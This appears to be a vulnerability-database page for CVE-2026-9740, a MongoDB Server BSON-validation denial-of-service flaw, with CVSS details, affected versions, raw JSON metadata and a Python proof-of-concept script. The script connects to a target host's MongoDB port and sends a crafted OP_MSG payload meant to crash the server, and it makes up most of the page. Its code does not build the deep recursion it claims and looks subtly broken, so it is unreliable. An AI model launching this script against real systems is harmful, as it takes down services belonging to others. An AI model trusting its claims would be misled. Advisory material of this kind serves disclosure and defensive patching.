Security Vulnerability Report
中文
CVE-2026-9740 CVSS 7.5 HIGH

CVE-2026-9740

Published: 2026-06-09 23:17:03
Last Modified: 2026-06-10 19:43:29

Description

A vulnerability in MongoDB Server's BSON validation logic allows an unauthenticated user to crash the mongod process by sending a specially crafted message. The BSON validator's handling of certain nested binary data structures permits uncontrolled mutual recursion between validation functions, where each re-entry resets internal depth tracking.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

MongoDB Server < 8.0.5
MongoDB Server 7.0.x < 7.0.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct import sys # CVE-2026-9740 PoC - MongoDB Server BSON Validation Stack Overflow # Target: MongoDB Server with vulnerable BSON validation logic # This PoC triggers uncontrolled recursion in BSON validator def create_malicious_bson(depth=100): """ Generate malicious BSON document with deep nested structures to trigger recursion overflow in MongoDB BSON validator """ # BSON document structure for MongoDB wire protocol bson_data = b'' # Create deeply nested array of subdocuments for i in range(depth): # Each subdocument contains binary data and references subdoc = { b'_id': i, b'data': b'\x00' * 256, # Binary data b'nested': { # Nested structure resets depth tracking b'level': i, b'payload': b'\xFF' * 128 } } # Convert to BSON bytes bson_data += bson_encode(subdoc) return bson_data def bson_encode(doc): """Minimal BSON encoder for creating test documents""" elements = b'' for key, value in doc.items(): if isinstance(key, str): key = key.encode('utf-8') if isinstance(value, int): elements += b'\x10' + key + b'\x00' + struct.pack('<i', value) elif isinstance(value, bytes): elements += b'\x05' + key + b'\x00' elements += struct.pack('<i', len(value)) + value + b'\x00' elif isinstance(value, dict): elements += b'\x03' + key + b'\x00' + bson_encode(value) + b'\x00' return struct.pack('<i', len(elements) + 5) + elements + b'\x00' def send_exploit(target_host, target_port=27017): """ Send malicious BSON payload to MongoDB server Triggers infinite recursion in BSON validator """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # MongoDB wire protocol: OP_MSG # https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/#op_msg payload = create_malicious_bson(depth=500) # OP_MSG header msg_header = struct.pack('<iiii', 0, # messageLength (will be fixed) 0, # requestID 0, # responseTo 2013 # opCode (OP_MSG = 2013) ) # OP_MSG flags (no checksum) msg_flags = struct.pack('<I', 0) # Section 0: Body (single document) section = b'\x00' + payload # Calculate total message length full_msg = msg_header + msg_flags + section full_msg = struct.pack('<i', len(full_msg)) + full_msg[4:] # Send exploit sock.send(full_msg) print(f'[+] Sent malicious BSON payload ({len(payload)} bytes) to {target_host}:{target_port}') print('[+] Payload contains deeply nested structures to trigger recursion overflow') # Wait for response or crash try: response = sock.recv(4096) print(f'[*] Received response: {response[:100]}') except socket.timeout: print('[*] No response received (server may have crashed)') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve_2026_9740_poc.py <target_ip>') print('Example: python cve_2026_9740_poc.py 192.168.1.100') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 27017 print('='*60) print('CVE-2026-9740 PoC - MongoDB Server BSON Validation DoS') print('='*60) send_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9740", "sourceIdentifier": "[email protected]", "published": "2026-06-09T23:17:03.437", "lastModified": "2026-06-10T19:43:28.857", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in MongoDB Server's BSON validation logic allows an unauthenticated user to crash the mongod process by sending a specially crafted message. The BSON validator's handling of certain nested binary data structures permits uncontrolled mutual recursion between validation functions, where each re-entry resets internal depth tracking."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-125063", "source": "[email protected]"}]}}